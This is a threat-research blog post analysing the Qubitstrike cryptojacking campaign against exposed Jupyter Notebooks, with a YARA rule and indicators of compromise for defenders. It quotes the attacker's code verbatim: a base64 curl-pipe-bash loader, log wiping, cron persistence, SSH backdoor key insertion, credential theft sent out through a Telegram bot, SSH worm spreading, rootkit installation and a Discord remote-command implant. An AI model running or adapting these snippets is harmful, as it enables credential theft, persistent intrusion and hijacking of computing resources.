Blog
/
/
October 18, 2023

Qubitstrike: An Emerging Malware Campaign Targeting Jupyter Notebooks

Qubitstrike is an emerging cryptojacking campaign primarily targeting exposed Jupyter Notebooks that exfiltrates cloud credentials, mines XMRig, and employs persistence mechanisms. The malware utilizes Discord for C2, displaying compromised host information and enabling command execution, file transfer, and process hiding via the Diamorphine rootkit.
Written by
Nate Bill
Threat Researcher
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
qubitstrikeDefault blog image
18
Oct 2023

Introduction: Qubitstrike

Researchers from Cado Security Labs (now part of Darktrace) have discovered a new cryptojacking campaign targeting exposed Jupyter Notebooks. The malware includes relatively sophisticated command and control (C2) infrastructure, with the controller using Discord’s bot functionality to issue commands on compromised nodes and monitor the progress of the campaign.

After successful compromise, Qubitstrike hunts for a number of hardcoded credential files for popular cloud services (including AWS and Google Cloud) and exfiltrates these via the Telegram Bot API. Cado researchers were alerted to the use of one such credential file, demonstrating the attacker’s intent to pivot to cloud resources, after using Qubitstrike to retrieve the appropriate credentials.

The payloads for the Qubitstrike campaign are all hosted on Codeberg, an alternative Git hosting platform, providing much of the same functionality as Github. This is the first time Cado researchers have encountered this platform in an active malware campaign. It’s possible that Codeberg’s up-and-coming status makes it attractive as a hosting service for malware developers.

Figure 1: Qubitstrike Discord C2 operation

Initial access

The malware was first observed on Cado’s high interaction Jupyter honeypot. An IP in Tunisia connected to the Jupyter instance on the honeypot machine and opened a Bash instance using Jupyter’s terminal feature. Following this, they ran the following commands to compromise the machine: 

#<timestamp> 
lscpu 
#<timestamp> 
sudo su 
#<timestamp> 
ls 
#<timestamp> 
ls -rf 
#<timestamp> 
curl 
#<timestamp> 
echo "Y3VybCAtbyAvdG1wL20uc2ggaHR0cHM6Ly9jb2RlYmVyZy5vcmcvbTRydDEvc2gvcmF3L2JyYW5jaC9tYWluL21pLnNoIDsgY2htb2QgK3ggL3RtcC9tLnNoIDsgL3RtcC9tLnNoIDsgcm0gLWYgL3RtcC9tLnNoIDsgaGlzdG9yeSAtYyAK" | base64 -d | bash

Given the commands were run over a span of 195 seconds, this suggests that they were performed manually. Likely, the operator of the malware had discovered the honeypot via a service such as Shodan, which is commonly used to discover vulnerable services by threat actors.

The history indicates that the attacker first inspected what was available on the machine - running lscpu to see what CPU it was running and sudo su to determine if root access was possible.

The actor then looks at the files in the current directory, likely to spot any credential files or indicators of the system’s purpose that have been left around. Cado’s high interaction honeypot system features bait credential files containing canary tokens for various services such as AWS, which caught the attackers attention.

The attacker then confirms curl is present on the system, and runs a base64 encoded command, which decodes to: 

<code lang="bash" class="language-bash">curl -o /tmp/m.sh https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh ; chmod +x /tmp/m.sh ; /tmp/m.sh ; rm -f /tmp/m.sh ; history -c</code>

This downloads and executes the main script used by the attacker. The purpose of base64 encoding the curl command is likely to hide the true purpose of the script from detection.

mi.sh

After achieving initial access via exploitation of a Jupyter Notebook, and retrieving the primary payload via the method described above, mi.sh is executed on the host and kickstarts the Qubitstrike execution chain. 

As the name suggests, mi.sh is a shell script and is responsible for the following:

  • Retrieving and executing the XMRig miner
  • Registering cron persistence and inserting an attacker-controlled SSH key
  • Retrieving and installing the Diamorphine rootkit
  • Exfiltrating credentials from the host
  • Propagating the malware to related hosts via SSH

As is common with these types of script-based cryptojacking campaigns, the techniques employed are often stolen or repurposed from similar malware samples, making attribution difficult. For this reason, the following analysis will highlight code that is either unique to Qubitstrike or beneficial to those responding to Qubitstrike compromises.

System preparation

mi.sh begins by conducting a number of system preparation tasks, allowing the operator to evade detection and execute their miner without interference. The first such task is to rename the binaries for various data transfer utilities, such as curl and wget - a common technique in these types of campaigns. It’s assumed that the intention is to avoid triggering detections for use of these utilities in the target environment, and also to prevent other users from accessing them. This technique has previously been observed by Cado researchers in campaigns by the threat actor WatchDog. 

clear ; echo -e "$Bnr\n Replacing WGET, CURL ...\n$Bnr" ; sleep 1s 
if [[ -f /usr/bin/wget ]] ; then mv /usr/bin/wget /usr/bin/zget ; fi 
if [[ -f /usr/bin/curl ]] ; then mv /usr/bin/curl /usr/bin/zurl ; fi 
if [[ -f /bin/wget ]] ; then mv /bin/wget /bin/zget ; fi 
if [[ -f /bin/curl ]] ; then mv /bin/curl /bin/zurl ; fi 
fi 
if [[ -x "$(command -v zget)" ]] ; then req="zget -q -O -" ; DLr="zget -O"; elif [[ -x "$(command -v wget)" ]] ; then req="wget -q -O -" ; DLr="wget -O"; elif [[ -x "$(command -v zurl)" ]] ; then req="zurl" ; DLr="zurl -o"; elif [[ -x "$(command -v curl)" ]] ; then req="curl" ; DLr="curl -o"; else echo "[!] There no downloader Found"; fi

Example code snippet demonstrating renamed data transfer utilities

mi.sh will also iterate through a hardcoded list of process names and attempt to kill the associated processes. This is likely to thwart any mining operations by competitors who may have previously compromised the system.

list1=(\.Historys neptune xm64 xmrig suppoieup '*.jpg' '*.jpeg' '/tmp/*.jpg' '/tmp/*/*.jpg' '/tmp/*.xmr' '/tmp/*xmr' '/tmp/*/*xmr' '/tmp/*/*/*xmr' '/tmp/*nanom' '/tmp/*/*nanom' '/tmp/*dota' '/tmp/dota*' '/tmp/*/dota*' '/tmp/*/*/dota*','chron-34e2fg') 
list2=(xmrig xm64 xmrigDaemon nanominer lolminer JavaUpdate donate python3.2 sourplum dota3 dota) 
list3=('/tmp/sscks' './crun' ':3333' ':5555' 'log_' 'systemten' 'netns' 'voltuned' 'darwin' '/tmp/dl' '/tmp/ddg' '/tmp/pprt' '/tmp/ppol' '/tmp/65ccE' '/tmp/jmx*' '/tmp/xmr*' '/tmp/nanom*' '/tmp/rainbow*' '/tmp/*/*xmr' 'http_0xCC030' 'http_0xCC031' 'http_0xCC033' 'C4iLM4L' '/boot/vmlinuz' 'nqscheduler' '/tmp/java' 'gitee.com' 'kthrotlds' 'ksoftirqds' 'netdns' 'watchdogs' '/dev/shm/z3.sh' 'kinsing' '/tmp/l.sh' '/tmp/zmcat' '/tmp/udevd' 'sustse' 'mr.sh' 'mine.sh' '2mr.sh' 'cr5.sh' 'luk-cpu' 'ficov' 'he.sh' 'miner.sh' 'nullcrew' 'xmrigDaemon' 'xmrig' 'lolminer' 'xmrigMiner' 'xiaoyao' 'kernelcfg' 'xiaoxue' 'kernelupdates' 'kernelupgrade' '107.174.47.156' '83.220.169.247' '51.38.203.146' '144.217.45.45' '107.174.47.181' '176.31.6.16' 'mine.moneropool.com' 'pool.t00ls.ru' 'xmr.crypto-pool.fr:8080' 'xmr.crypto-pool.fr:3333' '[email protected]' 'monerohash.com' 'xmr.crypto-pool.fr:6666' 'xmr.crypto-pool.fr:7777' 'xmr.crypto-pool.fr:443' 'stratum.f2pool.com:8888' 'xmrpool.eu') 
list4=(kworker34 kxjd libapache Loopback lx26 mgwsl minerd minexmr mixnerdx mstxmr nanoWatch nopxi NXLAi performedl polkitd pro.sh pythno qW3xT.2 sourplum stratum sustes wnTKYg XbashY XJnRj xmrig xmrigDaemon xmrigMiner ysaydh zigw lolm nanom nanominer lolminer) 
if type killall > /dev/null 2>&1; then for k1 in "${list1[@]}" ; do killall $k1 ; done fi for k2 in "${list2[@]}" ; do pgrep $k2 | xargs -I % kill -9 % ; done for k3 in "${list3[@]}" ; do ps auxf | grep -v grep | grep $k3 | awk '{print $2}' | xargs -I % kill -9 % ; done for k4 in "${list4[@]}" ; do pkill -f $k4 ; done }

Example of killing competing miners

Similarly, the sample uses the netstat command and a hardcoded list of IP/port pairs to terminate any existing network connections to these IPs. Additional research on the IPs themselves suggests that they’ve been previously  in cryptojacking [1] [2].

net_kl() { 
list=(':1414' '127.0.0.1:52018' ':143' ':3389' ':4444' ':5555' ':6666' ':6665' ':6667' ':7777' ':3347' ':14444' ':14433' ':13531' ':15001' ':15002') 
for k in "${list[@]}" ; do netstat -anp | grep $k | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % ; done 
netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '108.174.197.76' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '192.236.161.6' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '88.99.242.92' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
}

Using netstat to terminate open network connections

Furthermore, the sample includes a function named log_f() which performs some antiforensics measures by deleting various Linux log files when invoked. These include /var/log/secure, which stores successful/unsuccessful authentication attempts and /var/log/wtmp, which stores a record of system-wide logins and logouts. 

log_f() { 
logs=(/var/log/wtmp /var/log/secure /var/log/cron /var/log/iptables.log /var/log/auth.log /var/log/cron.log /var/log/httpd /var/log/syslog /var/log/wtmp /var/log/btmp /var/log/lastlog) 
for Lg in "${logs[@]}" ; do echo 0> $Lg ; done 
}

Qubitstrike Linux log file antiforensics

Retrieving XMRig

After performing some basic system preparation operations, mi.sh retrieves a version of XMRig hosted in the same Codeberg repository as mi.sh. The miner itself is hosted as a tarball, which is unpacked and saved locally as python-dev. This name is likely chosen to make the miner appear innocuous in process listings. 

After unpacking, the miner is executed in /usr/share/.LQvKibDTq4 if mi.sh is running as a regular unprivileged user, or /tmp/.LQvKibDTq4 if mi.sh is running as root. 

miner() { 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $DIR/xm.tar.gz $miner_url > /dev/null 2>&1 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/* 
$DIR/python-dev -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
else 
if [[ -x "$(command -v python3)" ]] ; then 
python3 -c "import urllib.request; urllib.request.urlretrieve('$miner_url', '$DIR/xm.tar.gz')" 
if [ -s $DIR/xm.tar.gz ] ; then 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/python-dev 
$DIR/$miner_name -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
fi 
fi 
fi 
}

Qubitstrike miner execution code

The malware uses a hardcoded mining pool and wallet ID, which can be found in the Indicators of Compromise (IoCs) section.

Registering persistence

mi.sh utilizes cron for persistence on the target host. The malware writes four separate cronjobs, apache2, apache2.2, netns and netns2, which are responsible for: 

  • executing the miner at reboot
  • executing an additional payload (kthreadd) containing the competitor-killing code mentioned previously
  • executing mi.sh on a daily basis 
cron_set() { 
killerd="/usr/share/.28810" 
mkdir -p $killerd 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $killerd/kthreadd $killer_url 
chmod +x $killerd/kthreadd 
chattr -R -ia /etc/cron.d 
echo "@reboot root $DIR/$miner_name -c $DIR/config.json" > /etc/cron.d/apache2 
echo "@daily root $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/apache2.2 
echo -e "*/1 * * * * root /usr/share/.28810/kthreadd" > /etc/cron.d/netns 
echo -e "0 0 */2 * * * root curl https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/netns2 
cat /etc/crontab | grep -e "https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh" | grep -v grep 
if [ $? -eq 0 ]; then 
: 
else 
echo "0 * * * * wget -O- https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
echo "0 0 */3 * * * $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
fi 
chattr -R +ia /etc/cron.d 
fi 
}

Cron persistence code examples

As mentioned previously, mi.sh will also insert an attacker-controlled SSH key, effectively creating a persistent backdoor to the compromised host. The malware will also override various SSH server configurations options, ensuring that root login and public key authentication are enabled, and that the SSH server is listening on port 22. 

echo "${RSA}" >>/root/.ssh/authorized_keys 
chattr -aui /etc/ssh >/dev/null 2>&1 
chattr -aui /etc/ssh/sshd_config /etc/hosts.deny /etc/hosts.allow >/dev/null 2>&1 
echo >/etc/hosts.deny 
echo >/etc/hosts.allow 
mkdir -p /etc/ssh 
sed -i -e 's/Port 78//g' -e 's/\#Port 22/Port 22/g' -e 's/\#PermitRootLogin/PermitRootLogin/g' -e 's/PermitRootLogin no/PermitRootLogin yes/g' -e 's/PubkeyAuthentication no/PubkeyAuthentication yes/g' -e 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config 
chmod 600 /etc/ssh/sshd_config

Inserting an attacker-controlled SSH key and updating sshd_config

Credential exfiltration

One of the most notable aspects of Qubitstrike is the malware’s ability to hunt for credential files on the target host and exfiltrate these back to the attacker via the Telegram Bot API. Notably, the malware specifically searches for AWS and Google Cloud credential files, suggesting targeting of these Cloud Service Providers (CSPs) by the operators. 

DATA_STRING="IP: $client | WorkDir: $DIR | User: $USER | cpu(s): $cpucount | SSH: $SSH_Ld | Miner: $MINER_stat" 
zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 
CRED_FILE_NAMES=("credentials" "cloud" ".s3cfg" ".passwd-s3fs" "authinfo2" ".s3backer_passwd" ".s3b_config" "s3proxy.conf" \ "access_tokens.db" "credentials.db" ".smbclient.conf" ".smbcredentials" ".samba_credentials" ".pgpass" "secrets" ".boto" \ ".netrc" ".git-credentials" "api_key" "censys.cfg" "ngrok.yml" "filezilla.xml" "recentservers.xml" "queue.sqlite3" "servlist.conf" "accounts.xml" "azure.json" "kube-env") for CREFILE in ${CRED_FILE_NAMES[@]}; do find / -maxdepth 23 -type f -name $CREFILE 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %' >> /tmp/creds done SECRETS="$(cat /tmp/creds)" zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 cat /tmp/creds rm /tmp/creds }

Enumerating credential files and exfiltrating them via Telegram

Inspection of this Telegram integration revealed a bot named Data_stealer which was connected to a private chat with a user named z4r0u1. Cado researchers assess with high confidence that the malware transmits the collection of the credentials files to this Telegram bot where their contents are automatically displayed in a private chat with the z4r0u1 user.

@z4r0u1 Telegram user profile
Figure 2: @z4r0u1 Telegram user profile

SSH propagation

Similar to other cryptojacking campaigns, Qubitstrike attempts to propagate in a worm-like fashion to related hosts. It achieves this by using a regular expression to enumerate IPs in the SSH known_hosts file in a loop, before issuing a command to retrieve a copy of mi.sh and piping it through bash on each discovered host. 

ssh_local() { 
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then 
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '$req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash >/dev/null 2>&1 &' & done 
fi 
}

SSH propagation commands

This ensures that the primary payload is executed across multiple hosts, using their collective processing power for the benefit of the mining operation.

Diamorphine rootkit

Another notable feature of Qubitstrike is the deployment of the Diamorphine LKM rootkit, used to hide the attacker’s malicious processes. The rootkit itself is delivered as a base64-encoded tarball which is unpacked and compiled directly on the host. This results in a Linux kernel module, which is then loadable via the insmod command. 

hide1() { 
ins_package 
hidf='H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1/fbbBcE35FeTXnvH/RBTwGJ3sdgXHjEtfeX63sJy2J <truncated> 
echo $hidf|base64 -d > $DIR/hf.tar 
tar -xf $DIR/hf.tar -C $DIR/ 
cd $DIR 
make 
proc="$(ps aux | grep -v grep | grep 'python-dev' | awk '{print $2}')" 
if [ -f "$DIR/diamorphine.ko" ] ; then 
insmod diamorphine.ko 
echo "Hiding process ( python-dev ) pid ( $proc )" 
kill -31 $proc 
else 
rm -rf $DIR/diamorphine* 
rm $DIR/Make* 
rm -f $DIR/hf.tar 
fi 
}

Insmod method of installing Diamorphine

The attackers also provide a failover option to cover situations where the insmod method is unsuccessful. Rather than unpacking and installing a kernel module, they instead compile the Diamorphine source to produce a Linux Shared Object file and use the LD Preload technique to register it with the dynamic linker. This results in it being executed whenever a new executable is launched on the system. 

hide2() { 
hidf='I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxkbGZjbi5oPgojaW5jb <truncated> 
echo $hidf | base64 -d > $DIR/prochid.c 
sed -i 's/procname/python-dev/g' $DIR/prochid.c 
chattr -ia /etc/ld.so.preload /usr/local/lib/ >/dev/null 2>&1 
gcc -Wall -fPIC -shared -o /usr/local/lib/libnetresolv.so $DIR/prochid.c -ldl 
echo /usr/local/lib/libnetresolv.so > /etc/ld.so.preload 
if [ -f /usr/local/lib/libnetresolv.so ] ; then 
chattr +i /usr/local/lib/libnetresolv.so 
chattr +i /etc/ld.so.preload 
else 
rm -f /etc/ld.so.preload 
fi 
}

Installing Diamorphine via the LD Preload method

Diamorphine is well-known in Linux malware circles, with the rootkit being observed in campaigns from TeamTNT and, more recently, Kiss-a-dog. Compiling the malware on delivery is common and is used to evade EDRs and other detection mechanisms.

Credential access

As mentioned earlier, the mi.sh sample searches the file system for credentials files and exfiltrates them over Telegram. Shortly after receiving an alert that Cado’s bait AWS credentials file was accessed on the honeypot machine, another alert indicated that the actor had attempted to use the credentials.

Credential alert
Figure 3: Credential alert

The user agent shows that the system running the command is Kali Linux, which matches up with the account name in the embedded SSH key from mi.sh. The IP is a residential IP in Bizerte, Tunisia (although the attacker also used an IP located in Tunis). It is possible this is due to the use of a residential proxy, however it could also be possible that this is the attacker’s home IP address or a local mobile network.

In this case, the attacker tried to fetch the IAM role of the canary token via the AWS command line utility. They then likely realized it was a canary token, as no further alerts of its use were observed.  

Discord C2

Exploring the Codeberg repository, a number of other scripts were discovered, one of which is kdfs.py. This python script is an implant/agent, designed to be executed on compromised hosts, and uses a Discord bot as a C2. It does this by embedding a Discord token within the script itself, which is then passed into the popular Discord bot client library, Discord.py.

Using Discord as a C2 isn’t uncommon, large amounts of malware will abuse developer-friendly features such as webhooks and bots. This is due to the ease of access and use of these features (taking seconds to spin up a fresh account and making a bot) as well as familiarity with the platforms themselves. Using Software-as-a-Service (SaaS) platforms like Discord also make C2 traffic harder to identify in networks, as traffic to SaaS platforms is usually ubiquitous and may pose challenges to sort through.

Interestingly, the author opted to store this token in an encoded form, specifically Base64 encoded, then Base32 encoded, and then further encoded using ROT13. This is likely an attempt to prevent third parties from reading the script and retrieving the token. However, as the script contains the code to decode it (before passing it to Discord.py), it is trivial to reverse. 

# decrypt api 
token = "XEYSREFAVH2GZI2LZEUSREGZTIXT44PTZIPGPIX2TALR6MYAWL3SV3GQBIWQN3OIZAPHZGXZAEWQXIXJAZMR6EF2TIXSZHFKZRMJD4PJAIGGPIXSVI2R23WIVMXT24PXZZLQFMFAWORKDH2IVMPSVZGHYV======" 
token = codecs.decode(token, 'rot13') 
token = base64.b32decode(token) 
token = base64.b64decode(token) 
token = token.decode('ascii')

Example of Python decoding multiple encoding mechanisms

As Discord.py is likely unavailable on the compromised systems, the README for the repository contains a one-liner that converts the python script into a self-contained executable, as seen below: 

<code lang="bash" class="language-bash">mkdir -p /usr/share/games/.2928 ; D=/usr/share/games/.2928 ; wget https://codeberg.org/m4rt1/sh/raw/branch/main/kdfs.py -O $D/kdfs.py ; pip install Discord ; pip install pyinstaller ; cd $D ; pyinstaller --onefile --clean --name kdfs kdfs.py ; mv /dist/kdfs kdfs</code>

Once kdfs.py is executed on a host, it will drop a message in a hardcoded channel, stating a randomly generated ID of the host, and the OS the host is running (derived from /etc/os-release). The bot then registers a number of commands that allow the operator to interact with the implant. As each implant runs the same bot, each command uses the randomly generated ID of the host to determine which implant a specific command is directed at. It also checks the ID of the user sending the command matches a hardcoded user ID of the operator. 

@bot.command(pass_context=True) 
async def cmd(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif client_id in ctx.message.content: 
        # Strips chars preceeding command from command string 
        command = str(ctx.message.content)[(len(client_id) + 6):] 
        ret = f"[!] Executing on `{client_id}` ({client_ip})!\n```shell\n{client_user}$ {command}\n\n{os.popen(command).read()}```" 
        await ctx.send(ret) 
    else: 
        return

There is also support for executing a command on all nodes (no client ID check), but interestingly this feature does not include authentication, so anyone with access to the bot channel can run commands. The implant also makes use of Discord for data exfiltration, permitting files to be both uploaded and downloaded via Discord attachments. Using SaaS platforms for data exfiltration is growing more common, as traffic to such websites is difficult to track and ubiquitous, allowing threat actors to bypass network defenses easier.

@bot.command(pass_context=True) 
async def upload(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif ctx.message.attachments: 
        url = str(ctx.message.attachments[0]) 
        os.popen(f"wget -q {url}").read() 
        path = os.popen('pwd').read().strip() 
        await ctx.send(f'[!] Uploaded attachment to `{path+"/"+ctx.message.attachments[0].filename}` on client: `{client_id}`.') 
    else: 
        await ctx.send('[!] No attachment provided.') 
@bot.command(pass_context=True) async def download(ctx): # Only allow commands from authorized users if await auth(ctx): return else: file_path = str(ctx.message.content)[(len(client_id) + 11):] file_size = int((os.popen(f"du {file_path}" + " | awk '{print $1}'")).read()) if file_size > 3900: await ctx.send(f'[!] The requested file ({file_size} bytes) exceeds the Discord API upload capacity (3900) bytes.') else: await ctx.send(file=Discord.File(rf'{file_path}'))

As mentioned earlier, the Discord token is directly embedded in the script. This allows observation of the Discord server itself and observe the attacker interacting with the implants. The name of the server used is “NETShadow”, and the channel the bot posts to is “victims”. The server also had another channel titled “ssh”,  however it was empty. 

All of the channels were made at the exact same time on September 2, 2023, suggesting that the creation process was automated. The bot’s username is Qubitstrike (hence the name was given to the malware) and the operator’s pseudonym is “BlackSUN”. 17 unique IP addresses were observed in the channel.

Example Qubitstrike output displayed in Discord
Figure 4: Example Qubitstrike output displayed in Discord

It is unclear what the relation between mi.sh and kdfs.py is. It would appear that the operator first deploys kdfs.py and then uses the implant to deploy mi.sh, however on Cado’s honeypot, kdfs.py was never deployed, only mi.sh was.

Conclusion

Qubitstrike is a relatively sophisticated malware campaign, spearheaded by attackers with a particular focus on exploitation of cloud services. Jupyter Notebooks are commonly deployed in cloud environments, with providers such as Google and AWS offering them as managed services. Furthermore, the primary payload for this campaign specifically targets credential files for these providers and Cado’s use of canary tokens demonstrates that further compromise of cloud resources is an objective of this campaign.

Of course, the primary objective of Qubitstrike appears to be resource hijacking for the purpose of mining the XMRig cryptocurrency. Despite this, analysis of the Discord C2 infrastructure shows that, in reality, any conceivable attack could be carried out by the operators after gaining access to these vulnerable hosts. 

Cado urges readers with Jupyter Notebook deployments to review the security of the Jupyter servers themselves, paying particular attention to firewall and security group configurations. Ideally, the notebooks should not be exposed to the public internet. If you require them to be exposed, ensure that you have enabled authentication for them. 

References  

  1. https://blog.csdn.net/hubaoquanu/article/details/108700572
  2. https://medium.com/@EdwardCrowder/detecting-and-analyzing-zero-days-log4shell-cve-2021-44228-distributing-kinsing-go-lang-malware-5c1485e89178

YARA rule

rule Miner_Linux_Qubitstrike { 
meta: 
description = "Detects Qubitstrike primary payload (mi.sh)" 
author = "[email protected]" 
date = "2023-10-10" 
attack = "T1496" 
license = "Apache License 2.0" 
hash1 = "9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd" 
strings: 
$const1 = "miner_url=" 
$const2 = "miner_name=" 
$const3 = "killer_url=" 
$const4 = "kill_url2=" 
$creds = "\"credentials\" \"cloud\" \".s3cfg\" \".passwd-s3fs\" \"authinfo2\" \".s3backer_passwd\" \".s3b_config\" \"s3proxy.conf\"" 
$log1 = "Begin disable security" $log2 = "Begin proccess kill" $log3 = "setup hugepages" $log4 = "SSH setup" $log5 = "Get Data && sent stats" 
$diam1 = "H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1" $diam2 = "I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg" 
$wallet = "49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo" condition: 3 of ($const*) and $creds and 3 of ($log*) and all of ($diam*) and $wallet }

Indicators of compromise

Filename  SHA256

mi.sh 9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd

kdfs.py bd23597dbef85ba141da3a7f241c2187aa98420cc8b47a7d51a921058323d327

xm64.tar.gz 96de9c6bcb75e58a087843f74c04af4489f25d7a9ce24f5ec15634ecc5a68cd7

xm64 20a0864cb7dac55c184bd86e45a6e0acbd4bb19aa29840b824d369de710b6152

killer.sh ae65e7c5f4ff9d56e882d2bbda98997541d774cefb24e381010c09340058d45f

kill_loop.sh a34a36ec6b7b209aaa2092cc28bc65917e310b3181e98ab54d440565871168cb

Paths

/usr/share/.LQvKibDTq4

/usr/local/lib/libnetresolv.so

/tmp/.LQvKibDTq4

/usr/bin/zget

/usr/bin/zurl

/usr/share/.28810

/usr/share/.28810/kthreadd

/bin/zget

/bin/zurl

/etc/cron.d/apache2

/etc/cron.d/apache2.2

/etc/cron.d/netns

/etc/cron.d/netns2

SSH keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali

URLs

https://codeberg[.]org/m4rt1/sh/raw/branch/main/xm64.tar.gz

https://codeberg[.]org/m4rt1/sh/raw/branch/main/killer.sh

https://codeberg[.]org/m4rt1/sh/raw/branch/main/kill_loop.sh

Cryptocurrency wallet ID

49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo

Cryptocurrency mining pool

pool.hashvault.pro:80

Written by
Nate Bill
Threat Researcher
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

Botnet Behind the Camera: Mirai Katana Activity on a Video Recording Device

OT
•
September 2, 2026
Parvatha Ananthakannan
Cyber Analyst
Watch the NIS2 Webinar
Trending blogs
1
Prompt Security in Enterprise AI: Strengths, Weaknesses, and Common Approaches
May 20, 2026
2
How Empowering End Users can Improve Your Email Security and Decrease the Burden on the SOC
May 8, 2024
3
Elevating Network Security: Confronting Trust, Ransomware, & Novel Attacks
Jun 21, 2024
4
The State of AI in Cybersecurity: Unveiling Global Insights from 1,800 Security Practitioners
Apr 9, 2024
5
The State of AI in Cybersecurity: The Impact of AI on Cybersecurity Solutions
May 13, 2024

More in this series

No items found.
Continue reading
No items found.

Blog

/

/

September 22, 2026

Darktrace / SECURE AI: Extending Behavioral Security for the Age of Agentic AI

Default blog imageDefault blog image

AI is moving faster than the controls built to secure it

